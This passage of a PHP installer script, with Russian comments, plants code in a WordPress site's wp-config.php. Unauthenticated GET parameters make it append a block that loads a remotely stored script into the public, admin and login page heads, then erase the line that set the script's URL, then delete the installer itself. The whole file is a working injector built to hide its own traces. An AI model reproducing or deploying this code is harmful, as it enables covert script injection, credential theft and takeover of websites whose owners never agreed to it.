';
}
}
add_action('wp_head', 'my_script_loader');
add_action('admin_head', 'my_script_loader');
add_action('login_head', 'my_script_loader');
PHP;
/**
* Регулярка для удаления только кода update_option(...):
*
* Ищет всё между:
* if ( ! get_option('my_script_url') ) {
* update_option('my_script_url', 'https://....');
* }
*/
$updateOptionPattern = <<<'REGEX'
/if\s*\(\s*!\s*get_option\(\s*'my_script_url'\s*\)\s*\)\s*{\s*update_option\(.*?\);\s*}\s*/s
REGEX;
/* --------------------------------------------------------------------------
* ШАГ 3. Функции-хелперы для записи/удаления кода
* -------------------------------------------------------------------------- */
/**
* Добавляет $blockToAdd в конец файла $filePath (если там ещё нет этого блока).
*/
function appendToFile($filePath, $blockToAdd) {
$original = file_get_contents($filePath);
// Проверяем, нет ли уже этого кода
if (strpos($original, $blockToAdd) !== false) {
echo "Блок уже существует в {$filePath}
";
return;
}
// Добавляем блок
$original .= "\n" . $blockToAdd . "\n";
file_put_contents($filePath, $original);
echo "Блок успешно добавлен в {$filePath}
";
}
/**
* Удаляет один раз первый найденный фрагмент, подходящий под $pattern, из файла $filePath.
*/
function removeBlockFromFile($filePath, $pattern) {
$content = file_get_contents($filePath);
$newContent = preg_replace($pattern, '', $content, 1); // заменяем только одно вхождение
if ($newContent === null) {
echo "Ошибка при preg_replace — возможно, некорректная регулярка.
";
return;
}
if ($newContent !== $content) {
file_put_contents($filePath, $newContent);
echo "Фрагмент удалён из {$filePath}
";
} else {
echo "Не найден фрагмент для удаления в {$filePath}
";
}
}
/**
* Удаляет сам файл instal.php (самоуничтожение).
*/
function selfDelete() {
$myPath = __FILE__; // путь к самому себе
unlink($myPath);
echo "Файл удалён: {$myPath}
";
}
/* --------------------------------------------------------------------------
* ШАГ 4. Обработка GET-параметров
* -------------------------------------------------------------------------- */
if (isset($_GET['copy'])) {
// 1) Добавляем блок кода в конец wp-config.php
if (!file_exists($wpConfigPath)) {
echo "wp-config.php не найден. Путь: {$wpConfigPath}
";
} else {
appendToFile($wpConfigPath, $blockToAdd);
}
exit;
}
if (isset($_GET['coddalete'])) {
// 2) Удаляем ТОЛЬКО блок update_option(...) из wp-config.php
if (!file_exists($wpConfigPath)) {
echo "wp-config.php не найден. Путь: {$wpConfigPath}
";
} else {
removeBlockFromFile($wpConfigPath, $updateOptionPattern);
}
exit;
}
if (isset($_GET['dalete'])) {
// 3) Самоудаление instal.php
selfDelete();
exit;
}
// Если ?... не передан, выводим инструкцию
echo <<Скрипт instal.php (улучшенная версия)
Используйте GET-параметры:
- ?copy=1 — дописать блок кода (хуки + update_option) в конец wp-config.php
- ?coddalete=1 — удалить из wp-config.php только блок update_option(...)
- ?dalete=1 — удалить сам instal.php
HTML;